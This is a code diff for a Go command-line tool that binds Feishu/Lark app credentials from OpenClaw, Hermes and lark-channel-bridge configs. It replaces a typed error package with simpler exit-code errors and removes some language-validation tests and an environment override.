+			fmt.Sprintf("--app-id %q not found in %s", appIDFlag, cfgBase),
+			fmt.Sprintf("available app IDs:\n  %s", formatCandidates(candidates)))
 	}

 	if len(candidates) == 1 {
@@ -111,9 +112,9 @@ func selectCandidate(
 		return tuiPrompt(candidates)
 	}

-	return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "multiple accounts in %s; pass --app-id <id>", cfgBase).
-		WithHint("available app IDs:\n  %s", formatCandidates(candidates)).
-		WithParam("--app-id")
+	return nil, output.ErrWithHint(output.ExitValidation, src,
+		fmt.Sprintf("multiple accounts in %s; pass --app-id <id>", cfgBase),
+		fmt.Sprintf("available app IDs:\n  %s", formatCandidates(candidates)))
 }

 // formatCandidates renders candidates as "AppID (Label)" lines for error hints.
@@ -148,13 +149,14 @@ func (b *openclawBinder) ConfigPath() string { return b.path }
 func (b *openclawBinder) ListCandidates() ([]Candidate, error) {
 	cfg, err := binding.ReadOpenClawConfig(b.path)
 	if err != nil {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidConfig, "cannot read %s: %v", b.path, err).
-			WithHint("verify OpenClaw is installed and configured").
-			WithCause(err)
+		return nil, output.ErrWithHint(output.ExitValidation, "openclaw",
+			fmt.Sprintf("cannot read %s: %v", b.path, err),
+			"verify OpenClaw is installed and configured")
 	}
 	if cfg.Channels.Feishu == nil {
-		return nil, errs.NewConfigError(errs.SubtypeNotConfigured, "openclaw.json missing channels.feishu section").
-			WithHint("configure Feishu in OpenClaw first")
+		return nil, output.ErrWithHint(output.ExitValidation, "openclaw",
+			"openclaw.json missing channels.feishu section",
+			"configure Feishu in OpenClaw first")
 	}

 	raw := binding.ListCandidateApps(cfg.Channels.Feishu)
@@ -170,7 +172,8 @@ func (b *openclawBinder) ListCandidates() ([]Candidate, error) {

 func (b *openclawBinder) Build(appID string) (*core.AppConfig, error) {
 	if b.cfg == nil {
-		return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: Build called before ListCandidates")
+		return nil, output.Errorf(output.ExitInternal, "openclaw",
+			"internal: Build called before ListCandidates")
 	}

 	var selected *binding.CandidateApp
@@ -181,25 +184,26 @@ func (b *openclawBinder) Build(appID string) (*core.AppConfig, error) {
 		}
 	}
 	if selected == nil {
-		return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: appID %q not in candidates", appID)
+		return nil, output.Errorf(output.ExitInternal, "openclaw",
+			"internal: appID %q not in candidates", appID)
 	}

 	if selected.AppSecret.IsZero() {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "appSecret is empty for app %s in %s", selected.AppID, b.path).
-			WithHint("configure channels.feishu.appSecret in openclaw.json")
+		return nil, output.ErrWithHint(output.ExitValidation, "openclaw",
+			fmt.Sprintf("appSecret is empty for app %s in %s", selected.AppID, b.path),
+			"configure channels.feishu.appSecret in openclaw.json")
 	}
 	secret, err := binding.ResolveSecretInput(selected.AppSecret, b.cfg.Secrets, os.Getenv)
 	if err != nil {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "failed to resolve appSecret for %s: %v", selected.AppID, err).
-			WithHint("check appSecret configuration in %s", b.path).
-			WithCause(err)
+		return nil, output.ErrWithHint(output.ExitValidation, "openclaw",
+			fmt.Sprintf("failed to resolve appSecret for %s: %v", selected.AppID, err),
+			fmt.Sprintf("check appSecret configuration in %s", b.path))
 	}

 	stored, err := core.ForStorage(selected.AppID, core.PlainSecret(secret), b.opts.Factory.Keychain)
 	if err != nil {
-		return nil, errs.NewInternalError(errs.SubtypeStorage, "keychain unavailable: %v", err).
-			WithHint("use file: reference in config to bypass keychain").
-			WithCause(err)
+		return nil, output.Errorf(output.ExitInternal, "openclaw",
+			"keychain unavailable: %v\nhint: use file: reference in config to bypass keychain", err)
 	}

 	return &core.AppConfig{
@@ -225,14 +229,15 @@ func (b *hermesBinder) ConfigPath() string { return b.path }
 func (b *hermesBinder) ListCandidates() ([]Candidate, error) {
 	envMap, err := readDotenv(b.path)
 	if err != nil {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidConfig, "failed to read Hermes config: %v", err).
-			WithHint("verify Hermes is installed and configured at %s", b.path).
-			WithCause(err)
+		return nil, output.ErrWithHint(output.ExitValidation, "hermes",
+			fmt.Sprintf("failed to read Hermes config: %v", err),
+			fmt.Sprintf("verify Hermes is installed and configured at %s", b.path))
 	}
 	appID := envMap["FEISHU_APP_ID"]
 	if appID == "" {
-		return nil, errs.NewConfigError(errs.SubtypeNotConfigured, "FEISHU_APP_ID not found in %s", b.path).
-			WithHint("run 'hermes setup' to configure Feishu credentials")
+		return nil, output.ErrWithHint(output.ExitValidation, "hermes",
+			fmt.Sprintf("FEISHU_APP_ID not found in %s", b.path),
+			"run 'hermes setup' to configure Feishu credentials")
 	}
 	b.envMap = envMap
 	return []Candidate{{AppID: appID, Label: "default"}}, nil
@@ -240,22 +245,24 @@ func (b *hermesBinder) ListCandidates() ([]Candidate, error) {

 func (b *hermesBinder) Build(appID string) (*core.AppConfig, error) {
 	if b.envMap == nil {
-		return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: Build called before ListCandidates")
+		return nil, output.Errorf(output.ExitInternal, "hermes",
+			"internal: Build called before ListCandidates")
 	}
 	if b.envMap["FEISHU_APP_ID"] != appID {
-		return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: appID %q does not match env", appID)
+		return nil, output.Errorf(output.ExitInternal, "hermes",
+			"internal: appID %q does not match env", appID)
 	}
 	appSecret := b.envMap["FEISHU_APP_SECRET"]
 	if appSecret == "" {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "FEISHU_APP_SECRET not found in %s", b.path).
-			WithHint("run 'hermes setup' to configure Feishu credentials")
+		return nil, output.ErrWithHint(output.ExitValidation, "hermes",
+			fmt.Sprintf("FEISHU_APP_SECRET not found in %s", b.path),
+			"run 'hermes setup' to configure Feishu credentials")
 	}

 	stored, err := core.ForStorage(appID, core.PlainSecret(appSecret), b.opts.Factory.Keychain)
 	if err != nil {
-		return nil, errs.NewInternalError(errs.SubtypeStorage, "keychain unavailable: %v", err).
-			WithHint("use file: reference in config to bypass keychain").
-			WithCause(err)
+		return nil, output.Errorf(output.ExitInternal, "hermes",
+			"keychain unavailable: %v\nhint: use file: reference in config to bypass keychain", err)
 	}

 	return &core.AppConfig{
@@ -283,13 +290,14 @@ func (b *larkChannelBinder) ConfigPath() string { return b.path }
 func (b *larkChannelBinder) ListCandidates() ([]Candidate, error) {
 	cfg, err := binding.ReadLarkChannelConfig(b.path)
 	if err != nil {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidConfig, "cannot read %s: %v", b.path, err).
-			WithHint("verify lark-channel-bridge is installed and configured").
-			WithCause(err)
+		return nil, output.ErrWithHint(output.ExitValidation, "lark-channel",
+			fmt.Sprintf("cannot read %s: %v", b.path, err),
+			"verify lark-channel-bridge is installed and configured")
 	}
 	if cfg.Accounts.App.ID == "" {
-		return nil, errs.NewConfigError(errs.SubtypeNotConfigured, "accounts.app.id missing in %s", b.path).
-			WithHint("run lark-channel-bridge's setup to populate the app credential")
+		return nil, output.ErrWithHint(output.ExitValidation, "lark-channel",
+			fmt.Sprintf("accounts.app.id missing in %s", b.path),
+			"run lark-channel-bridge's setup to populate the app credential")
 	}
 	b.cfg = cfg
 	return []Candidate{{AppID: cfg.Accounts.App.ID, Label: "default"}}, nil
@@ -297,30 +305,32 @@ func (b *larkChannelBinder) ListCandidates() ([]Candidate, error) {

 func (b *larkChannelBinder) Build(appID string) (*core.AppConfig, error) {
 	if b.cfg == nil {
-		return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: Build called before ListCandidates")
+		return nil, output.Errorf(output.ExitInternal, "lark-channel",
+			"internal: Build called before ListCandidates")
 	}
 	if b.cfg.Accounts.App.ID != appID {
-		return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: appID %q does not match config", appID)
+		return nil, output.Errorf(output.ExitInternal, "lark-channel",
+			"internal: appID %q does not match config", appID)
 	}
 	if b.cfg.Accounts.App.Secret.IsZero() {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "accounts.app.secret is empty in %s", b.path).
-			WithHint("run lark-channel-bridge's setup to populate the app credential")
+		return nil, output.ErrWithHint(output.ExitValidation, "lark-channel",
+			fmt.Sprintf("accounts.app.secret is empty in %s", b.path),
+			"run lark-channel-bridge's setup to populate the app credential")
 	}

 	// Resolve through the same SecretInput pipeline openclaw uses, so
 	// bridge configs can use ${VAR} / env / file / exec just like openclaw.
 	secret, err := binding.ResolveSecretInput(b.cfg.Accounts.App.Secret, b.cfg.Secrets, os.Getenv)
 	if err != nil {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "failed to resolve appSecret for %s: %v", appID, err).
-			WithHint("check appSecret configuration in %s", b.path).
-			WithCause(err)
+		return nil, output.ErrWithHint(output.ExitValidation, "lark-channel",
+			fmt.Sprintf("failed to resolve appSecret for %s: %v", appID, err),
+			fmt.Sprintf("check appSecret configuration in %s", b.path))
 	}

 	stored, err := core.ForStorage(appID, core.PlainSecret(secret), b.opts.Factory.Keychain)
 	if err != nil {
-		return nil, errs.NewInternalError(errs.SubtypeStorage, "keychain unavailable: %v", err).
-			WithHint("use file: reference in config to bypass keychain").
-			WithCause(err)
+		return nil, output.Errorf(output.ExitInternal, "lark-channel",
+			"keychain unavailable: %v", err)
 	}

 	return &core.AppConfig{
@@ -379,12 +389,10 @@ func resolveHermesEnvPath() string {
 }

 // resolveLarkChannelConfigPath returns the path to lark-channel-bridge's
-// source config. LARK_CHANNEL_CONFIG lets a host point bind at a projected
-// single-account config without changing lark-cli's target config directory.
+// config.json. Mirrors the bridge's src/config/paths.ts which hardcodes
+// ~/.lark-channel/config.json with no env override — multi-instance is not
+// a supported scenario today.
 func resolveLarkChannelConfigPath() string {
-	if p := os.Getenv("LARK_CHANNEL_CONFIG"); strings.TrimSpace(p) != "" {
-		return expandHome(p)
-	}
 	home, err := vfs.UserHomeDir()
 	if err != nil || home == "" {
 		fmt.Fprintf(os.Stderr, "warning: unable to determine home directory: %v\n", err)
--- a/cmd/config/binder_test.go
+++ b/cmd/config/binder_test.go
@@ -4,7 +4,6 @@
 package config

 import (
-	"path/filepath"
 	"reflect"
 	"testing"

@@ -51,8 +50,8 @@ func assertCandidate(t *testing.T, got *Candidate, want Candidate) {
 func TestSelectCandidate_ZeroCandidates_OpenClaw(t *testing.T) {
 	b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
 	_, err := selectCandidate(b, nil, "", false, tuiUnreachable(t))
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "openclaw",
 		Message: "no Feishu app configured in openclaw.json",
 		Hint:    "configure channels.feishu.appId in openclaw.json",
 	})
@@ -64,8 +63,8 @@ func TestSelectCandidate_ZeroCandidates_GenericSource(t *testing.T) {
 	// even before it has a bespoke error message.
 	b := &fakeBinder{name: "hermes", path: "/tmp/.env"}
 	_, err := selectCandidate(b, nil, "", false, tuiUnreachable(t))
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "validation",
 		Message: "hermes: no app configured",
 	})
 }
@@ -100,8 +99,8 @@ func TestSelectCandidate_AppIDFlag_NoMatch(t *testing.T) {
 		{AppID: "cli_home", Label: "home"},
 	}
 	_, err := selectCandidate(b, candidates, "nonexistent", false, tuiUnreachable(t))
-	assertExitError(t, err, output.ExitValidation, wantErrDetail{
-		Type:    "validation",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "openclaw",
 		Message: `--app-id "nonexistent" not found in openclaw.json`,
 		Hint:    "available app IDs:\n  cli_work (work)\n  cli_home (home)",
 	})
@@ -117,8 +116,8 @@ func TestSelectCandidate_MultiCandidate_NoFlag_NonTUI(t *testing.T) {
 		{AppID: "cli_home", Label: "home"},
 	}
 	_, err := selectCandidate(b, candidates, "", false, tuiUnreachable(t))
-	assertExitError(t, err, output.ExitValidation, wantErrDetail{
-		Type:    "validation",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "openclaw",
 		Message: "multiple accounts in openclaw.json; pass --app-id <id>",
 		Hint:    "available app IDs:\n  cli_work (work)\n  cli_home (home)",
 	})
@@ -152,8 +151,8 @@ func TestSelectCandidate_SingleCandidate_WrongFlag(t *testing.T) {
 	b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
 	candidates := []Candidate{{AppID: "cli_only"}}
 	_, err := selectCandidate(b, candidates, "nonexistent", false, tuiUnreachable(t))
-	assertExitError(t, err, output.ExitValidation, wantErrDetail{
-		Type:    "validation",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "openclaw",
 		Message: `--app-id "nonexistent" not found in openclaw.json`,
 		Hint:    "available app IDs:\n  cli_only",
 	})
@@ -174,27 +173,3 @@ func TestSelectCandidate_AppIDFlag_WinsOverTUI(t *testing.T) {
 	}
 	assertCandidate(t, got, Candidate{AppID: "cli_b"})
 }
-
-func TestResolveLarkChannelConfigPath_Default(t *testing.T) {
-	home := t.TempDir()
-	t.Setenv("HOME", home)
-	t.Setenv("LARK_CHANNEL_CONFIG", "")
-
-	got := resolveLarkChannelConfigPath()
-	want := filepath.Join(home, ".lark-channel", "config.json")
-	if got != want {
-		t.Fatalf("resolveLarkChannelConfigPath() = %q, want %q", got, want)
-	}
-}
-
-func TestResolveLarkChannelConfigPath_EnvOverride(t *testing.T) {
-	home := t.TempDir()
-	t.Setenv("HOME", home)
-	t.Setenv("LARK_CHANNEL_CONFIG", "~/bridge/projection.json")
-
-	got := resolveLarkChannelConfigPath()
-	want := filepath.Join(home, "bridge", "projection.json")
-	if got != want {
-		t.Fatalf("resolveLarkChannelConfigPath() = %q, want %q", got, want)
-	}
-}
--- a/cmd/config/config.go
+++ b/cmd/config/config.go
@@ -33,7 +33,6 @@ func NewCmdConfig(f *cmdutil.Factory) *cobra.Command {
 	cmd.AddCommand(NewCmdConfigStrictMode(f))
 	cmd.AddCommand(NewCmdConfigPolicy(f))
 	cmd.AddCommand(NewCmdConfigPlugins(f))
-	cmd.AddCommand(NewCmdConfigKeychainDowngrade(f))
 	return cmd
 }

--- a/cmd/config/config_test.go
+++ b/cmd/config/config_test.go
@@ -12,12 +12,10 @@ import (
 	"strings"
 	"testing"

-	"github.com/larksuite/cli/errs"
 	extcred "github.com/larksuite/cli/extension/credential"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/credential"
-	"github.com/larksuite/cli/internal/i18n"
 	"github.com/larksuite/cli/internal/keychain"
 	"github.com/larksuite/cli/internal/output"
 )
@@ -93,16 +91,15 @@ func TestConfigShowRun_NotConfiguredReturnsStructuredError(t *testing.T) {
 		t.Fatal("expected error")
 	}

-	var cfgErr *errs.ConfigError
+	var cfgErr *core.ConfigError
 	if !errors.As(err, &cfgErr) {
-		t.Fatalf("error type = %T, want *errs.ConfigError", err)
+		t.Fatalf("error type = %T, want *core.ConfigError", err)
 	}
-	// Config errors share ExitAuth (3), not ExitValidation.
-	if got := output.ExitCodeOf(err); got != output.ExitAuth {
-		t.Fatalf("exit code = %d, want %d (config category → ExitAuth)", got, output.ExitAuth)
+	if cfgErr.Code != output.ExitValidation {
+		t.Fatalf("exit code = %d, want %d", cfgErr.Code, output.ExitValidation)
 	}
-	if cfgErr.Subtype != errs.SubtypeNotConfigured || cfgErr.Message != "not configured" {
-		t.Fatalf("detail = %+v, want not_configured/not configured", cfgErr)
+	if cfgErr.Type != "config" || cfgErr.Message != "not configured" {
+		t.Fatalf("detail = %+v, want config/not configured", cfgErr)
 	}
 }

@@ -127,11 +124,15 @@ func TestConfigShowRun_NoActiveProfileReturnsStructuredError(t *testing.T) {
 		t.Fatal("expected error")
 	}

-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitAuth {
-		t.Errorf("exit code = %d, want %d", gotCode, output.ExitAuth)
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("error type = %T, want *output.ExitError", err)
 	}
-	if !strings.Contains(err.Error(), "no active profile") {
-		t.Fatalf("error = %v, want to contain 'no active profile'", err)
+	if exitErr.Code != output.ExitValidation {
+		t.Fatalf("exit code = %d, want %d", exitErr.Code, output.ExitValidation)
+	}
+	if exitErr.Detail == nil || exitErr.Detail.Type != "config" || exitErr.Detail.Message != "no active profile" {
+		t.Fatalf("detail = %#v, want config/no active profile", exitErr.Detail)
 	}
 }

@@ -149,9 +150,8 @@ func TestConfigInitCmd_LangFlag(t *testing.T) {
 	if err := cmd.Execute(); err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
-	// --lang en is canonicalized to en_us in RunE before runF captures opts.
-	if gotOpts.Lang != string(i18n.LangEnUS) {
-		t.Errorf("expected Lang en_us, got %s", gotOpts.Lang)
+	if gotOpts.Lang != "en" {
+		t.Errorf("expected Lang en, got %s", gotOpts.Lang)
 	}
 	if !gotOpts.langExplicit {
 		t.Error("expected langExplicit=true when --lang is passed")
@@ -172,88 +172,14 @@ func TestConfigInitCmd_LangDefault(t *testing.T) {
 	if err := cmd.Execute(); err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
-	if gotOpts.Lang != "" {
-		t.Errorf("expected default Lang to be unset (\"\"), got %q", gotOpts.Lang)
+	if gotOpts.Lang != "zh" {
+		t.Errorf("expected default Lang zh, got %s", gotOpts.Lang)
 	}
 	if gotOpts.langExplicit {
 		t.Error("expected langExplicit=false when --lang is not passed")
 	}
 }

-// TestSaveInitConfig_OmitLangPreservesPrior guards the single-app replace path:
-// re-running init without --lang must inherit the prior preference, not clear it.
-func TestSaveInitConfig_OmitLangPreservesPrior(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-
-	existing := &core.MultiAppConfig{Apps: []core.AppConfig{
-		{AppId: "cli_x", AppSecret: core.PlainSecret("s"), Brand: core.BrandFeishu, Lang: i18n.LangJaJP},
-	}}
-	if err := core.SaveMultiAppConfig(existing); err != nil {
-		t.Fatalf("seed config: %v", err)
-	}
-
-	if err := saveInitConfig("", existing, f, "cli_x", core.PlainSecret("s2"), core.BrandFeishu, ""); err != nil {
-		t.Fatalf("saveInitConfig (no --lang): %v", err)
-	}
-
-	got, err := core.LoadMultiAppConfig()
-	if err != nil {
-		t.Fatalf("LoadMultiAppConfig: %v", err)
-	}
-	if app := got.CurrentAppConfig(""); app == nil || app.Lang != i18n.LangJaJP {
-		t.Errorf("Lang after re-init = %v, want %q (preserved)", app, i18n.LangJaJP)
-	}
-}
-
-// TestConfigInitCmd_InvalidLang verifies a non-empty --lang on config init is
-// strictly validated the same way bind validates: wrong-case / typo / removed
-// codes / hyphen form all exit with ExitValidation. (Empty is a no-op.)
-func TestConfigInitCmd_InvalidLang(t *testing.T) {
-	clearAgentEnv(t)
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-
-	cases := []struct {
-		name string
-		lang string
-	}{
-		{"wrong case ZH", "ZH"},
-		{"typo frr", "frr"},
-		{"removed code ar", "ar"},
-		{"unknown xx", "xx"},
-		{"hyphen form zh-CN", "zh-CN"},
-	}
-
-	for _, tc := range cases {
-		t.Run(tc.name, func(t *testing.T) {
-			f, _, _, _ := cmdutil.TestFactory(t, nil)
-			cmd := NewCmdConfigInit(f, nil)
-			f.IOStreams.In = strings.NewReader("sec\n")
-			cmd.SetArgs([]string{"--lang", tc.lang, "--app-id", "x", "--app-secret-stdin"})
-			err := cmd.Execute()
-			if err == nil {
-				t.Fatalf("expected validation error for --lang %q, got nil", tc.lang)
-			}
-			var valErr *errs.ValidationError
-			if !errors.As(err, &valErr) {
-				t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
-			}
-			if valErr.Subtype != errs.SubtypeInvalidArgument {
-				t.Errorf("subtype = %q, want %q", valErr.Subtype, errs.SubtypeInvalidArgument)
-			}
-			if valErr.Param != "--lang" {
-				t.Errorf("param = %q, want %q", valErr.Param, "--lang")
-			}
-			if got := output.ExitCodeOf(err); got != output.ExitValidation {
-				t.Errorf("exit code = %d, want %d (validation)", got, output.ExitValidation)
-			}
-			if !strings.Contains(err.Error(), "invalid --lang") {
-				t.Errorf("error message %q does not contain 'invalid --lang'", err.Error())
-			}
-		})
-	}
-}
-
 func TestHasAnyNonInteractiveFlag(t *testing.T) {
 	tests := []struct {
 		name string
@@ -392,38 +318,8 @@ func TestSaveAsProfile_RejectsProfileNameCollisionWithExistingAppID(t *testing.T
 	if err == nil {
 		t.Fatal("expected conflict error")
 	}
-	// A name/appId conflict is user input — a typed validation error naming the
-	// offending flag, not a system storage failure.
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) {
-		t.Fatalf("error type = %T, want *errs.ValidationError; err=%v", err, err)
-	}
-	if verr.Subtype != errs.SubtypeInvalidArgument {
-		t.Errorf("subtype = %q, want invalid_argument", verr.Subtype)
-	}
-	if verr.Param != "--name" {
-		t.Errorf("param = %q, want --name", verr.Param)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Errorf("exit code = %d, want %d (validation)", output.ExitCodeOf(err), output.ExitValidation)
-	}
-	if !strings.Contains(verr.Message, "conflicts with existing appId") {
-		t.Errorf("message = %q, want conflict description", verr.Message)
-	}
-}
-
-// TestWrapSaveConfigError_PassesTypedValidationThrough pins that a user-input
-// validation error (e.g. the --name conflict) is not reclassified as an
-// internal storage failure on its way up through the save call sites.
-func TestWrapSaveConfigError_PassesTypedValidationThrough(t *testing.T) {
-	conflict := errs.NewValidationError(errs.SubtypeInvalidArgument, "name conflict").WithParam("--name")
-	var verr *errs.ValidationError
-	if !errors.As(wrapSaveConfigError(conflict), &verr) {
-		t.Fatalf("typed validation must pass through unchanged, got %T", wrapSaveConfigError(conflict))
-	}
-	var ierr *errs.InternalError
-	if !errors.As(wrapSaveConfigError(errors.New("disk full")), &ierr) || ierr.Subtype != errs.SubtypeStorage {
-		t.Fatalf("untyped failure must become internal/storage")
+	if !strings.Contains(err.Error(), "conflicts with existing appId") {
+		t.Fatalf("error = %v, want conflict with existing appId", err)
 	}
 }

@@ -502,65 +398,16 @@ func TestConfigBlockedByExternalProvider(t *testing.T) {
 			if matched != nil && matched != cmd && !matched.SilenceUsage {
 				t.Error("expected PersistentPreRunE to set SilenceUsage on matched subcommand")
 			}
-			if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
-				t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
+			var exitErr *output.ExitError
+			if !errors.As(err, &exitErr) {
+				t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
+			}
+			if exitErr.Code != output.ExitValidation {
+				t.Errorf("exit code = %d, want %d", exitErr.Code, output.ExitValidation)
+			}
+			if exitErr.Detail == nil || exitErr.Detail.Type != "external_provider" {
+				t.Errorf("error type = %v, want %q", exitErr.Detail, "external_provider")
 			}
 		})
 	}
 }
-
-// TestValidateInitLang covers the --lang contract: empty (omitted or explicit)
-// is a no-op leaving Lang unset; a short code or Feishu locale canonicalizes to
-// the same locale; an unrecognized value errors.
-func TestValidateInitLang(t *testing.T) {
-	t.Run("empty is a no-op", func(t *testing.T) {
-		for _, explicit := range []bool{false, true} {
-			opts := &ConfigInitOptions{Lang: "", langExplicit: explicit}
-			if err := validateInitLang(opts); err != nil {
-				t.Fatalf("explicit=%v: expected nil error, got %v", explicit, err)
-			}
-			if opts.Lang != "" {
-				t.Errorf("explicit=%v: Lang = %q, want \"\" (unset)", explicit, opts.Lang)
-			}
-		}
-	})
-	t.Run("short and locale canonicalize alike", func(t *testing.T) {
-		for _, in := range []string{"ja", "ja_jp"} {
-			opts := &ConfigInitOptions{Lang: in, langExplicit: true}
-			if err := validateInitLang(opts); err != nil {
-				t.Fatalf("--lang %q: unexpected error %v", in, err)
-			}
-			if opts.Lang != string(i18n.LangJaJP) {
-				t.Errorf("--lang %q normalized to %q, want %q", in, opts.Lang, i18n.LangJaJP)
-			}
-		}
-	})
-}
-
-// TestPrintLangPreferenceConfirmation covers the confirmation helper: it prints
-// to stderr only when --lang explicitly set a non-empty preference.
-func TestPrintLangPreferenceConfirmation(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	t.Run("explicit non-empty prints confirmation", func(t *testing.T) {
-		f, _, stderr, _ := cmdutil.TestFactory(t, nil)
-		printLangPreferenceConfirmation(&ConfigInitOptions{Factory: f, Lang: "en_us", UILang: i18n.LangZhCN, langExplicit: true})
-		got := stderr.String()
-		if !strings.Contains(got, "语言偏好") || !strings.Contains(got, "en_us") {
-			t.Errorf("stderr = %q, want confirmation mentioning the preference and en_us", got)
-		}
-	})
-	t.Run("implicit prints nothing", func(t *testing.T) {
-		f, _, stderr, _ := cmdutil.TestFactory(t, nil)
-		printLangPreferenceConfirmation(&ConfigInitOptions{Factory: f, Lang: "en_us", UILang: i18n.LangZhCN, langExplicit: false})
-		if got := stderr.String(); got != "" {
-			t.Errorf("stderr = %q, want empty when --lang is implicit", got)
-		}
-	})
-	t.Run("explicit empty prints nothing", func(t *testing.T) {
-		f, _, stderr, _ := cmdutil.TestFactory(t, nil)
-		printLangPreferenceConfirmation(&ConfigInitOptions{Factory: f, Lang: "", UILang: i18n.LangZhCN, langExplicit: true})
-		if got := stderr.String(); got != "" {
-			t.Errorf("stderr = %q, want empty when --lang is empty", got)
-		}
-	})
-}
--- a/cmd/config/default_as.go
+++ b/cmd/config/default_as.go
@@ -6,9 +6,9 @@ package config
 import (
 	"fmt"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
 	"github.com/spf13/cobra"
 )

@@ -41,12 +41,12 @@ func NewCmdConfigDefaultAs(f *cmdutil.Factory) *cobra.Command {

 			value := args[0]
 			if value != "user" && value != "bot" && value != "auto" {
-				return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid identity type %q, valid values: user | bot | auto", value)
+				return output.ErrValidation("invalid identity type %q, valid values: user | bot | auto", value)
 			}

 			app.DefaultAs = core.Identity(value)
 			if err := core.SaveMultiAppConfig(multi); err != nil {
-				return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
+				return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
 			}
 			fmt.Fprintf(f.IOStreams.ErrOut, "Default identity set to: %s\n", value)
 			return nil
--- a/cmd/config/init.go
+++ b/cmd/config/init.go
@@ -6,18 +6,18 @@ package config
 import (
 	"bufio"
 	"context"
+	"errors"
 	"fmt"
 	"io"
 	"os"
 	"strings"

+	"github.com/charmbracelet/huh"
 	"github.com/spf13/cobra"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/i18n"
 	"github.com/larksuite/cli/internal/keychain"
 	"github.com/larksuite/cli/internal/output"
 )
@@ -31,13 +31,9 @@ type ConfigInitOptions struct {
 	AppSecretStdin bool   // read app-secret from stdin (avoids process list exposure)
 	Brand          string
 	New            bool
-
-	Lang         string // raw --lang (string for cobra); normalized to canonical/"" in validateInitLang
-	langExplicit bool   // true when --lang was explicitly passed
-
-	UILang i18n.Lang // TUI display language (picker-only); intentionally separate from --lang
-
-	ProfileName string // when set, create/update a named profile instead of replacing Apps[0]
+	Lang           string
+	langExplicit   bool   // true when --lang was explicitly passed
+	ProfileName    string // when set, create/update a named profile instead of replacing Apps[0]

 	// ForceInit overrides the agent-workspace guard. Without it, running
 	// init under OPENCLAW_HOME / HERMES_HOME refuses and points the caller
@@ -49,7 +45,7 @@ type ConfigInitOptions struct {

 // NewCmdConfigInit creates the config init subcommand.
 func NewCmdConfigInit(f *cmdutil.Factory, runF func(*ConfigInitOptions) error) *cobra.Command {
-	opts := &ConfigInitOptions{Factory: f, UILang: i18n.LangZhCN}
+	opts := &ConfigInitOptions{Factory: f}

 	cmd := &cobra.Command{
 		Use:   "init",
@@ -67,9 +63,6 @@ if the user explicitly wants a separate app inside the Agent workspace.`,
 		RunE: func(cmd *cobra.Command, args []string) error {
 			opts.Ctx = cmd.Context()
 			opts.langExplicit = cmd.Flags().Changed("lang")
-			if err := validateInitLang(opts); err != nil {
-				return err
-			}
 			if err := guardAgentWorkspace(opts); err != nil {
 				return err
 			}
@@ -84,7 +77,7 @@ if the user explicitly wants a separate app inside the Agent workspace.`,
 	cmd.Flags().StringVar(&opts.AppID, "app-id", "", "App ID (non-interactive)")
 	cmd.Flags().BoolVar(&opts.AppSecretStdin, "app-secret-stdin", false, "Read App Secret from stdin to avoid process list exposure")
 	cmd.Flags().StringVar(&opts.Brand, "brand", "feishu", "feishu or lark (non-interactive, default feishu)")
-	cmd.Flags().StringVar(&opts.Lang, "lang", "", "language preference (e.g. zh or zh_cn)")
+	cmd.Flags().StringVar(&opts.Lang, "lang", "zh", "language for interactive prompts (zh or en)")
 	cmd.Flags().StringVar(&opts.ProfileName, "name", "", "create or update a named profile (append instead of replace)")
 	cmd.Flags().BoolVar(&opts.ForceInit, "force-init", false, "allow init inside an Agent workspace (OPENCLAW_HOME / HERMES_HOME); use config bind instead unless you really want a separate app")
 	cmdutil.SetRisk(cmd, "write")
@@ -92,25 +85,6 @@ if the user explicitly wants a separate app inside the Agent workspace.`,
 	return cmd
 }

